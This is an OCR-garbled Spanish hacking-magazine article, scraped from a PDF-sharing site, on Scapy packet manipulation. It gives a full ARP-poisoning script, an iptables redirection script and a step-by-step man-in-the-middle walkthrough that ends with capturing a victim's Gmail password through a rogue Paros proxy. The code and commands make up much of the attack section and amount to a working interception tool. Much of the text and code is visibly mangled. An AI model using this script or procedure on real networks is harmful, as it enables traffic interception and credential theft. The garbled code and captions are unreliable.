# Co rr eo : [email protected]

Como sea, aqul va el script que

envenena la cache ARP del router--------..,Li":!1:::s:-:a:t:=a-::r::"dlo....,2"i'".----:a:-:r==p-_':::'p~1n::::-:g::-.-:p~y~--------.I

F o n f . v e r b=O

a n s , u n a n s = s r p(E th e r ( d s t = " f f : f f : f f :f f : f f : f f " )/AR P(pd s t = s y s . a r g v[ l j),

t i m e o u t =2)

f o r s e n d , r e s i n a n s :

pr in t r es .s pr in tf (" %Et he r. sr c% --> %ARP .ps rc%" )

11 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

0=00 00

: : , - = crack-.-,- . .ckxcrock,es

hackwww,ho

* -*- coding: utf-8 -*-

from scapy.all import *

import sys

import time

* ARP Poison (a la ARPSpoof)

* Programador: Larry

* Correa: [email protected]

* Esta funcion envia una respuesta ARP al host que indicamos en los argumentos

def respuesta_arp (pdst,hwdst,psrc,hwsrc,iface):

arp_reply = Ether(dst=hwdst)/ARP(pdst=pdst,hwdst=hwdst,

psrc=psrc, hwsrc=hwsrc,op="is-at")

sendp(arp_reply, iface=iface)

def main():

* Control amos la cantidad de argumentos

if len(sys.argv) 1= 4:print "Usa: python "+sys.argv[Oj+ " <router> <net_target> interfaz\n"

print "Ejemplo: python "+sys.argv[Oj+" 192.168.1.1 192.168.1.0/24 wlanO"

print "Ejemplo: python "+sys.argv[Oj+" 192.168.0.1 192.168.0.* wlanO"

sys.exit(l)

conf.verb=O

* Aca se define el tipo de tecnica que vamos a usar para envenenar la cache

tecnica = "reply"

router_ip

net

iface

sys.argv[lj

sys.argv[2j

sys.argv[3j

* Obtenemos las direcciones fisicas de las IPs involucradas.

* Hacemos una peticion ARP para obtener la MAC del router.

arp_router = srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=router_ip),

iface=iface, retry=-2, timeout=2)

* En cas a que no haya respuestas a la peticion ARP que hicimos ...

if (arp_router == None):

print "El router "+router_ip+" no responde a la peticion ARP. Abortando •.. "

sys.exit(l)

* De esa peticion obtenemos la informacion que necesitamos.

router mac arp_router[ARPj.hwsrc * MAC de router

mi_ip arp_router[ARPj.pdst * IP del atacante

mi mac arp_router[ARPj.hwdst * MAC del atacante

* Ahara veamos las MACs de los hosts "vivos" en la red.

ans_net,unans_net= srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=net),iface=iface, retry=-2, timeout=2)

* En la lista ans_net se guardan las duplas estimulos-respuestas

* a las peticiones que hicimos.

* Guardemos las duplas IP-MACs en dos listas para futuro usa.

hosts _ips [l

hosts _macs = l l

* Si el router esta dentro de la red indicada, no nos interesa ...

for estimulo,respuesta in ans_net:

if (respuesta[ARPj.psrc 1= router_ip):

hosts_ips.append(respuesta[ARPj.psrc)

hosts_macs.append(respuesta[ARPj.hwsrc)

* En cas a de que los hosts de la red no respondan a las peticiones ARP

Listado 3. arp_poison.py (lera parte)

1 2 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

0=00 0_0

: : , - = crack-.-,- . .c k K C roc k _ e sww-ho

* a bo r t a m o s e l pr o g r a m a •••

i f (l e n (ho s t s i ps ) == 0):

pr i n t " Ni n g 6n ho s t d e l a r e d e s pe ci f i ca d a r e s po n d e a l a s pe t i ci o n e s ARP . Abo r t a n d o . . . . .

sys . exi t(1)

* Im pr i m i m o s e n pa n t a l l a l a i n f o r m a ci 6n d e l e n ve n e n a m i e n t o

pr i n t ·'TARGET: IP = " +r o u t e r _i p+" MAC = " +r o u t e r _m a c

pr i n t " \n "

f o r i i n xr an ge (O,l en (ho st s i ps )):

pr i n t " VICTIM: IP =" +ho st s_i ps [i l +" MAC = " +ho st s _m acs [i l

* ARP P oi so ni ng a l a a r ps po o f (e n vi a m o s pe t i ci o n e s ARP a l o s ho s t s

* t a r g e t s a u n qu e n o pi d i e r o n n i n g u n a )

* De e s a f o r m a e n ve n a m o s l a ca che ARP d e l o s t a r g e t s .

t ry:

whi l e 1 :

* Es pe r a m o s u n o s s e g u n d o s a n t e s d e ca d a r o n d a d e e n ve n e n a m i e n t o .

f o r i i n xr an ge (O,l en (ho st s i ps )):

r e s pu e s t a _a r p ( ho s t s _i ps [ i l, ho s t s _m a cs [i l , ro u t e r _i p ,m i _ ma c ,i f a ce )

r e s pu e s t a _a r p ( r ou t e r _i p ,r o u t e r _m a c, ho s t s _i ps [ i l, m i_ m ac ,i f a ce )

t i m e . s l e ep(S)

except:

pr i n t " Te r m in an d o e l e n ve ne n am i en to . "

pr i n t " Ar r e g l a n d o l a s t a bl a s ARP . . . . .

t i m e . s l e ep(2)

* Ar r e g l a m o s l a s t a bl a s d e ARP d e l o s ho s t s (po r l a s d u d a s m a n d a m o s S r e s pu e s t a s )

f o r j i n xr a n ge (1 ,S) :

f o r i i n xr an ge (O,l en (ho st s i ps )):

r e s pu e s ta a r p (h os t s i ps [i l ,ho s t s_m a cs [i l ,r o u te r _i p,r o u te r _m a c,i f a ce )

r e s pu e s t a =a r p ( r ou t e r _i p ,r o u t e r _m a c, ho s t s _i ps [ i l, ho s t s _m a cs [i l , if a ce )

pr in t " Li st o!"

~ a i n ( )

4. Ataque MITM

L1stado 3 (cont.). arp_po 1son.py (2da parte)

Para ir terminando vamos a lIevar a la practlca

un ataque MITM usando la herramienta de ARP

Poison (arp_posion.py) que desarrollamos en

este articulo. Antes de empezar, les recuerdo

que un ataque MITM es mucho mas que

simplemente engariar a las vfctimas

envenenado sus tablas ARP. Dependiendo de 1 0

que uno quiera hacer, 1 0 mas probable es que se

necesiten herramientas "extras" para

redireccionar y modificar adecuadamente los

paquetes que pasan por nuestra rnaqulna

(atacante) como resultado del ARP poisoning.

Algunas aplicaciones, como ettercap, tienen un

mecanismo interno de direccionamiento de

paquetes de modo que no se necesiten

programas "extras" para hacer un ataque MITM.

En nuestro caso, vamos a necesitar de dos

herramientas aparte del script arp_poison.py:

1.IPT ABLES (esta en el kernel de linux)

2. Paros Proxy (servidor proxy

www.parosproxy.org)

4.1 Ataque MITM en una LAN

corporativa/universitaria.

Vamos a presentar el caso en que la vktima se

encuentra en una red interna dentro del ambito

laboral 0 academlco, En la mayorfa de los casos,

en un ambiente corporativo y/o universitario se

exige que un usuario deba pasar todas sus

conexiones al mundo exterior a traves de un

servidor proxy (por 1 0 menos, esto pasa en mi

caso particular). En este escenario (ver Figura 7),

tanto la vktima como el atacante estan en una

misma LAN y ambos deben configurar sus

exploradores Web y otras aplicaciones similares

para usar el servidor proxy. EI principal objetivo

de esto es separar a los usuarios internos del

13 www.ha CK.X(rack.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack0=00 00

: : , - = crack- . -_ .ckxcrack.esww.ha

resto de Internet, manejando todas las

conexiones hacia el exterior. En otras palabras,

el proxy es un intermediario en el que todosconfiamos (a "trusted man in the middle").

La idea del ataque MITM que vamos a hacer es

engariar al usuario con la IP 192.168.1.108 de

modo que, en lugar de conectarse al proxy de la

empresa proxy.empresa.gov.ar (que

escucha en el puerto 3128), se conecte a un

proxy "falso" que se encuentra a la escucha en

nuestra rnaqulna. EI proxy "falso" que esta en

nuestra maqulna debe estar concatenado

adecuadamente con el proxy de la empresa

para que sea posible dar salida a la WAN al

usuario vfctima (una cadena de dos proxies).

Para realizar este ataque debemos hacer 1 0

siguiente:

1. Engaftar a la victima de modo que piense

que nuestra maquina es el router y

viceversa. Esto 1 0 hacemos con ARP Posoning

usando el script que programamos en la secci6n

--- Comunicaci6n normal

___ Ataque MITM

anterior.

2. Montar un proxy falso en nuestra

maquina y concatenarlo corredamente conel de la empresa. Esto 1 0 hacemos con Paros

Proxy (si quieren puede usar cualquier servidor

proxy).

3. Redireccionar adecuadamente los

paquetes que lIegan a nuestra maquina de

modo se conecten al proxy falso. Esto se

puede lIevar a cabo facllmente utilizando

IPTABLES.

Si logramos hacer esto, con el Paros Proxy es

posible capturar todo el traflco web de la

vfctima y comprometer la integridad y

privacidad de sus datos. Para simular el

escenario mostrado en la Figura 7 voy a utilizar

una rnaqulna virtual que vendrfa a ser el usuario

vfctima de lascircunstancias.

( )

lnternet'

Router! ,IP - 192.168.1.1

Switch MAC - 00:1c:10:**:**:**

Usuario

IP - 192,168,1.108

MAC - 08:00:27:**:**:**Paras Proxy

listen port: 3128

Larry

IP - 192,168,1.106

MAC - 00:22:69:**:**:**

F i g u r a 7 . E s c e n a r i o t i p i c o q u e r e p r e s e n t a u n a L A N e n u n a m b i e n t ec o r p o r a t i v o / u n i v e r s i t a r i o .

14

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

o c::J 00 00

;~.. crack_ .ckxcrack.esww.ha

4.2 Configuraci6n de Paros Proxy y

direccionamiento de paquetes.

Antes de envenenar la cache ARPde la vfctima,

vamos a configurar adecuadamente el proxy

"faIso" en nuestra rnaquina y el

direccionamiento de los paquetes con

IPTABLES. Para configurar Paros Proxy 1 0

abrimos (con Java Runtime Enviroment) y

vamos a las opciones (Options) en el menu de

herramientas (Tools). En el menu Local Proxy

colocamos nuestra IP interna y alqun puerto de

escucha (que puede ser el mismo en el que

escucha el proxy de la empresa) y en el menu

Connection (donde dice "use proxy

chain")colocamos el nombre de dominic 0 la IP

del proxy de la empresa, como vemos en la

Figura 8 y en la Figura 9.

Con esto basta para tener funcionando Paros

Proxy en nuestra maqulna, Pueden usar nmap

para comprobar que, efectivamente, el puerto

en el que configuraron el proxy esta abierto.

Recuerden que si quieren abrir un puerto menor

a 1024 deben hacerlo con permisos de root.

A continuaci6n, vamos a usar IPTABLESpara

direccionar todos los paquetes que lIegan a

nuestra rnaqulna al puerto donde esta

escuchando Paros Proxy. No voy a explicar nada

relacionado con IPTABLES,simplemente voy a

decir que el script del Listado 4 en bash/shell

tiene como efecto redireccionar todos los

paquetes que tienen un puerto de destino igual

a 3128 (que seguramente van a

proxy.empresa.gov.ar) al mismo puerto pero de

nuestra rnaqulna, donde esta escuchando Paros

Proxy.

Simplemente guardamos el Listado 4 en un

archivo de texto plano, Ie damos permisos de

ejecuci6n y 1 0 ejecutamos en consola (Iuego de

setear las variables INTERFAZy PROXYFALSO

con nuestra interfaz e IP). Para comprobar que

todo este bien, ejecutamos el comando

"iptables -t nat -L" cuya salida debe ser como la

Untitled Session - Perce

File Edit View Analyse Report Tools: Help-

Sites, Request Response Trap

[J Sites

j~lJ Options '0U'3i

'9- Options ILocal proxy 1

~co"".ctO"Local proxy

~'""~"".'""

Address (eq lccalhest. 127.0.0.1) 1192.16811061

Certificate Port Ceq 80801 13128 1

Vew

Trap Set your browser proxy sett ing using the above. The

Spiderhttp port and https port must be the same port as

above.Scanner

~I CancelI

( IHisto 5 ider Alerts: Out ut

F i g u r a 8 . P a r o s P r o x y a l a e s c u c h a e n e l p u e r t o 3 1 2 8 .

1 5

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack

0=00 00

: '':crack-.-.ckxcrack.esww.ha

Options

IjI Opt,....io_n_s_ -.

- !=onnectionJ

- Local proxy- Authentication

- Certificate

-View

-Trap

- Spider

- Scanner

I,onnectionUse proxy chain

~ Use an outgoing proxy server

:Address/Domain Name:

Port Ceq 8080):

Iproq. empresa~ gov.d

13128 ISkip IPaddress or domain names below (* for

wildcard characters, names separate by;):

I I . : JProxy authentication

DOutgoing proxy server requires authentication

Realm:

User name:

Password (stored in dear-text):

OK I I Cancel I-

F i g u r a 9 . C o n c a t e n a n d o P a r o s P r o x y c o n p r o x y . e m p r e s a . g o v . a r .

de la Figura 10. En dicha figura tam bien se A continuaci6n, una vez que tenemos

muestra la tabla ARP del usuario con la IP configurado el proxy y el redireccionamiento de

192.168.1.108 (es una rnaquina virtual con paquetes con IPTABLES,enemos que engariar aDebian Lenny). la victima de modo que mande los paquetes

que originalmente iban al router a nuestra

4.3 Envenenamiento de la cache ARP. rnaquina. Para hacer eso, ejecutamos el script

que programamos en la secci6n anterior, como

1I!/bin/sh

INTERFAZ="athO"

PROXYFALSO='192.168.1.106' II Aqu i va n u e s t r a IP i n t e r n a

e cho 1 > Iproc/sys/net/ipv41ip f o r w a r d

e cho 0 > Iproc/sys/n e t/ipv4/con f/$INTERFAZ/s e n d_r e d i r ec t s

II Bo r r a m o s l a s r e g l a s (po r l a s d u d a s qu e t e n g a m o s u n f i r e wa l l ) ••i pt abl es --f lu sh

i pt abl es --ze ro

i pt a bl e s --d e le t e-cha i n

i pt a bl e s -F -t n a t

i pt abl es --a ppe n d F ORWARD --i n -i nt er fa ce $INTERF AZ --j um p ACCEP T

i pt a bl e s --t a bl e n a t --a ppe n d P OSTROUTING --o u t -i n t e r f a ce $INTERF AZ \

- -j u m p M AS QU ER AD E

II Re d i r e cci o n a m o s l o s pa qu e t e s a P a r o s P r o xy, qu e e s t a e s cu cha n d o e n n u e s t r a

II m a qu i n a e n e l pu e r t o 31 28.

i pt a bl e s -t n a t -A P REROUTING -p t cp --d po r t 31 28 --j u m p DNAT \

--t o -d e st i na t io n $ PROX YF ALSO

L 1 s t a d o 4 . C o n f 1 g u r a c 1 o n d e I P T A B L E S

16

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hacko = a0 00

=':crack. . . ..c k x c roc k . e aww.ho

M_aqu in a Q_ ispo si ti Y' os Ay !: !d a

f! Apicaciones Luqares Sistema W •larry@larry-l: '""'

rry# arp -a

? (192.168.1.1S6) at e8:22:69:.:.:.I[ether] on eth I

? (192.168.1.1) at 88:1(:18:.:.:. [ether] 0" eth'llarry-I: /hcne/Lar rys

Oar.~¥. to!J • ~~Ji~Ilfrrq

jue 13de ene . 12:09 ~o ....

F i g u r a 1 9 . C o n f i g u r a c i o n d e I P T A B L E S y t a b l a A R P d e l a

se muestra en la Figura 11.Vemos como la tabla

ARP de la vfctima resulta modificada y hay dos

entradas con la misma MAC: una asociada anuestra IP {que es la entrada correcta} y la otra

correspondiente al router {con la misma MAC

que nuestra rnaqulna).

En estas condiciones, todo el traflco que la

vfctima intercambia con internet a traves del

proxy de la empresa ahora pasa por nuestra

computadora y utiliza el Paros Proxy como

intermediario.

Por 1 0 tanto, todas la peticiones web puedencapturarse en tiempo real con Paros Proxy como

se ve en la Figura 12. De hecho, se pueden

programar filtros y modificarlas a gusto tarnblen

en tiempo real {basta con estudiar un poco el

protocolo HTTP}. Cualquier password 0 clave

que sea ingresada por el usuario usando el

metoda POSTpuede ser vista en texto plano en

la interfaz grafica de Paros Proxy {por ejemplo,

pueden probar loguearse a la interfaz

administrativa del router}.

4.4 EI rol del protocolo SSL (Secure

Socket Layer).

En la secci6n anterior se asumi6 que las

comunicaciones entre el cliente y el servidor son

sin cifrar. En ese caso, un ataque MITM puede

comprometer facllmente la confidencialidad,

integridad y disponibilidad de los datos. EI

protocolo SSL utiliza la criptograffa para

asegurar la privacidad e integridad de los datos

y un mecanisme de autenticaci6n cliente-

servidor.

Los paquetes SSL cifrados generalmente

atraviesan los dispositivos de red {como routers

o switches} sin ser afectados. Sin embargo, los

servidores proxies trabajan en un nivel mas alto

del modele 051 que otros dispositivos de red.

Como tal, los proxies proveen la posibilidad de

iniciar y terminar conexiones SSL.

Los servidores corporativosroxies

17 www.hacKx(ra·(·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hack crackh (I r (I C kw w e a

l ar ry : pyt hon

Debien-S [Corriendoj - Oracle VMvrrtuelacx

! :: ::1aquina prsposnvos Ay!:!da

f! Aplicacionas Lugares Sistema @•

rry-1:/ arry# arp -B

(192.168.1.1) at 8e:22:69:.:.:. [ether ] 0 " etm

(192.168.1.186) at 88:22:69:.:.:. [ether] on eth l

larry-1:/home/larry# I

r;w;~~t~~~~ral ~~

Ilfrrq

_Ll

jue 13de er ie. 12:17 [ j } o A

Figura 11. Envenenamiento de la cache ARP de la victima.

Untitled session - Pares

Eile Edit View Analyse Report Tools Help

Sites I r~R~e~q~u~e~st~~R~e~s~p~o~n~s~e~~T~ra~p~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~o i o - L : : J ht tp: / /wwwJJac lCKcrack.esJ .... IGET h t tp : //W ''WW ,h a ci < :< c ra ck , es H T I P ll ,l I : I

I ~

~g.a~::~:um 'PhP Host· WWWhaCkxcraCkeS·"1

Lless I:===.=====r==l------------------...·14,maoes • IRawView 1 · 1

j_-:S 'ut: illLP:,l/lJUlIIoW. acuxcrack.esrrcrum.pnp

14 GET http: //W'WVof .haclc<crackes/css/stylesheet.css

18 GET http://boscQ,coguan,com!senaernn=af7 asdbcsccnerd-u aoi 0

20 GET http://bosco,coguan,com!sender!ag.php

21 GET http://bosco02.coguan.com/iframes/5/13010x35357,html?var=

32 GET http://bosco,coguan,com!sendernn=aab5c5f8&zoneici=13000»r.OT ./lh

LUU uc L"It5UmS

200 OK 3091ms

200 OK 6863ms

200 Ok 918ms

200 OK 906ms

200 OK 1777msOM , ne7,

Debien-S [Ccrriendo] - Oracle VMvrrtuelacx

History Spider Alerts Output

!.

Inicio

e ~ (ij . ~Hist6rico Marcadores Mas pequenc Mas grande

Figura 12.

[ue 13 de ene. 12:20 ~c A

Captura del trafico web de la victima con Paros Proxy.

18 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hacko = a0 00

=':crack-. -.c k x c roc k . e aww.ho

normalmente no estan configurados para

establecer conexiones SSL. De esta forma, los

clientes dentro de la empresa inician unaconexlon segura directamente con el servidor

web y se aseguran que los datos permanecen

cifrados en toda la ruta de comunlcaclon. En

cambio, hay otro tipos de proxies (como el

Pares, por ejemplo) que estan espedficamente

disenados para interceptar conexiones seguras.

En la Figura 13 se muestra como este tipo de

proxies pueden aceptar y reiniciar conexiones

SSLy por 1 0 tanto guardar los datos en texto

plano. Estos servidores proxies usan sus propios

certificados para iniciar y terminar las

conexiones seguras.

Una parte esencial del protocolo SSL es la

autentiflcaclon del servidor que ayuda al cliente

a validar la identidad del servidor. Cuando un

cliente trata de iniciar una conexion SSL, el

explorador web del cliente examina la

informacion contenida en el certificado del

servidor. Si el certificado no es valldo 0 esta

caducado, el explorador advierte de la sltuaclonal cliente. Muchas veces los usuarios ignoran

completamente la advertencia del explorador

sin pensar en lasconsecuencias.

Paraterminar con el articulo, vamos a iniciar una

sesion segura desde gmail con la rnaqulna

virtual, que representa la vfctima en el ataque

MITM que estamos simulando. En la Figura 14

vemos la advertencia inocua por parte delexplorador de que el certificado de seguridad

no esvalldo,

Con OPENSSLustedes pueden crear sus propios

certificados y utilizarlos con el Paros Proxy, pero

la vfctima va a seguir recibiendo una

advertencia ya que dichos certificados son self-

signed (no proveen una verflcaclon de una

Autoridad de Certlflcaclon).

La mayorfa de los usuarios (con bajos 0 nulos

conocimientos en seguridad informatica) no son

conscientes de las consecuencias por ignorar

una advertencia de este tipo. Por 1 0 tanto, van a

aceptar el certificado no valldo y continuar con

la conexion segura. Como vemos en la Figura

15, en la interfaz de Paros Proxy, obtenemos en

texto plano el nombre de usuario y la

contrasena de gmail del usuario de la rnaqulna

virtual.

Si quisieran hacer esto mismo en una LANdonde los usuarios no usan un proxy como

intermediario en la conexlon a internet, deben

redigir todo el traflco del puerto 80 y el puerto

443 al puerto 3128 de su rnaqulna, donde Paros

Proxy esta a la escucha. Para esto, hay que

modificar ligeramente el script en bash/shell

••••

Servidor Falso : Cliente Falso

••••

Usuario

IP - 192.168.1.108

MAC- 08:00:27:**:**:**

Internet

Paros Proxy

listen port: 3128

F i g u r a 1 3 . P r o x y f a 1 s o e n e 1 m e d i o d e u n a c o n e x i 6 n s e g u r a .

19 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

hackw w w

~u

f : :1_aqu ina

• T

A Y b ! . d a

taQispositivos

•dalanta eiRecargar Histcnco

X a I AccedE

Atras Inicioetener

@ J h t t p : / / W w W . g o o g l e . G o m . a r /

6Desea aceptar la informacion de

seguridad incorrecta?

EI sitio «www.qcoqla.ccm» devolvi6 Informacion de

segur idad para «Paras», Esposible que alguien este

in terceptan do su com un icaci6n para ob ten er su info rm ac i6n

confidencial.

Deberfa aceptar 121nformacion de seguridad s610 si contra

en «\NItIfW,google,com» y «pares».

I. ~er certificado 'I Q~ancelar 6ceptar

crack(I C k e s

Deb tan -S I ce rr te nd cj - O rac le VMv tr tu al ao x

Marc~ores I Mas s., Mas~nde

."~ .. A

C

Organizaci6n: unknown

Undad crqanizetive: Paras

No se pudo verificar este certificado porque he caducado.

Propiedades de certificados

Emitido a

N om bre co mu n: Paras

Unknownrqanizacicn:

undad organ izat iva: paros

Nu-nero de serie: 3D:54:E1:CA

Emitido por

Nombre comuno

Pares

Validez

10/08/02

08/11/02

93:CB:AF:1C:B7:87:AO:46.36.7C.6E:DD.8A.FB:10:6F:OB:D9.3l:EA

8E:F8:D6:C3:75:46:8C:EO:7B:74:BD:6E:E6:72:22:7D

X~errar I

i < ~ ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - = = - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ C J ~ < >@O;;? ~ 0 @ ; I2l ctrl perecho

F i g u r a 1 4 . A d v e r t e n c i a d e l e x p l o r a d o r d e q u e e l c e r t i f i c a d o d e s e g u r i d a d n o e sv a l i d o .

Sites l Request Response Trap

lU p . / ' ; ; ; ; " , w 3 , o r g

tUhttp://zone146,hotwords,com,br

j'Uhttcs.s/marl.qccqle.corn

jUttcs.vssl.qocqle-analyttcs.com

?-u h t t p s :/ / W W W . g o o g l e . c o m

r - 0GET:setgmail(zw)

r

-Ll a c c o u n t s

tD . GET . servlc.eLOgin(bSV'continue, hi,Itmpl,Itmplcache, pa.SSive,m,sc

o GET:SetvlceLo gln(contlnu e,fss,go, hi,Itmpi,pas Slve,serJlce,tab)

o lE.os ~ervlceLogi Auth(Email,GALX,P.asswd,asts,contl· ue,dsh,hl,1

o-.~ images1fc--r---===="--,,---------,------------.c-i-1 IRawewH

e:uEile Edit View Analyse Report Tools Help

Untitled Session - Peres

...._ OSThttps:/{wIMN,google.com/accounts/SeNiceLoginAuth HTIP/1.1

~ost: www.qcoqle.com~ser-Agent: Mozllla/5,O (XU: U: Llnux i686: en: rv:1.9,Q,13J Gecko/20D80528 Epiphany/2,22 Paros/3,2,13capt: text/ht ml,applicatio njxhtml-r xml.ap plicat Ion/Xml:q= O.9,*/*: q=O.8cept-Language: es-ar.es.q-u.s

p~~~lii~~~~soeJ:ISO-8859-1, utf-8: q=O.7, *: q=O. 7

mpl-default&ltmplcache-2&Continue-http%3A%2F%2Fmail.google,com%2Fmail%2F%3Fhl%3Des%26tab%3Dwm&s~ice=mail&rm=false&dsh=-9020391889136558909&ltmpl=defaul~mpl=default&scc=l&timeStmp=&secok=&GAL.X=WFBtFj8_QHW&Email-larW40haclo::crack.es&passwd--=_&rmShown=l&signln=Acceder&asts=

Debien-S [Ccrrtendo] - Oracle VMvrrtuelacx

Maqu ina Dispcs iti vcs Ay !!da

i!Aplicac iones Lugares Si stema W II ~ue 13 de ene 12'25 ~o A

1 - 4 de 4

6rchivo Editar "fer lr M_arcadores eolepes Ayyda

O L I ~ C ~ o ~ r r ~ e ~ o ~ d ~ e ~ H ~ a ~ c ~ k ~ x ~ C ~ ' a ~ c ~ K ~ - ~ R ~ . ~ c i ~ b ~ i H ~ o ~ s ~ ~ 3 ~ l _ - ~ I ~ a ~ r r y ~ @ ~ h ~ a ~ c ~ k x ~ c r ~ a ~ c ~ k ~ , e ~ s ~ ~I-~

aPacarqar lnicic

9 I i ' i I ~ @ .Histcnco Marcadcres Mas pequenc Mas grande

+ T •

Atras Adelante Detener

J I 1 ( https :~mail.google ,com/mallnhl= eeSishva> 1#inbox

Correa Calendar Docs Sites Mas T larry@hack)(crack.es: I ccnfleu-ecto-i I Ayuda I Salir

I c _ _ j l l Bus~ar mens,; ;je II Bus .. :, ;; r en I ,; ;Web I ~usgueda

1 3 B 1

()

@O;;? ~ LIO l l' @ [ £ J et r lD e re c hc A !

F i g u r a 1 5 . N o m b r e d e u s u a r i o y c o n t r a s e n a d e l a v i c t i m a .

20 www.heCKx(ra·c·K.es

5/13/2018 Manipulacion avanzada de paquetes tcp/ip con scapy parte II - slidepdf.com

http://slidepdf.com/reader/full/manipulacion-avanzada-de-paquetes-tcpip-con-scapy-parte-ii

www.ho

o = a0 00

: : '-II crack-.-,- . .c k K C roc k . e s

hack

.! :1 aq u in a Q _ is po sit iv os A Y. h! da

r Apicacicnes Luqares Sistema @iii

\98r.~8te~~n:lijf.lal!l~

I1>Jrrl'

arp -a

? [192.158.1.1) at 88:22:69:.:.:. [ether] on ethl

? [192.168.1.186) at 88:22:69:.:.:. [ether] on ethl

larry-l:/home/larry# arp -a

? [192.168.1.185) at 88:22:59:.:.:. [ether] on eth1

? [192.168.1.1) at 88:1C:18:.:.:. [ether] on ethi

larry-l:/home/larry# I

jue 13de ene. 12:28 ~o A

larry@larry-l: ....

Figura 16. Finalizado del envenenamiento ARP.

para configurar las reglas de IPTABLES

adecuadamente (1 0 dejo como tarea :-). 0pueden usar sslstrip que directamente evita por

completo el inicio de una conexion segura.

Espero que este articulo les haya gustado ycualquier duda pueden encontrarme en el foro

de HackxCrack 0 mandarme un mail a

[email protected] y hasta la proxima!

Finalmente, terminamos el envenenamiento

ARPy, como vemos en la Figura 16, la tabla ARP

de la vlctima vuelve a la normalidad (como

estabaantes de que iniciemos el ataque).

5. Conclusion

EI ataque MITM 0 de "hombre en el medio"

conceptual mente es muy facil de entender y de

lIevar a la practice inclusive por individuos que

no tienen conocimientos profundos sobre

protocol os y redes. La mejor defensa contra

ellos no son parches ni actualizaciones de

software, sino la educaclon sobre temas de

seguridad de la informacion y la precaudon en

el manejo de datos sensibles en redes en las

cuales no confiamos.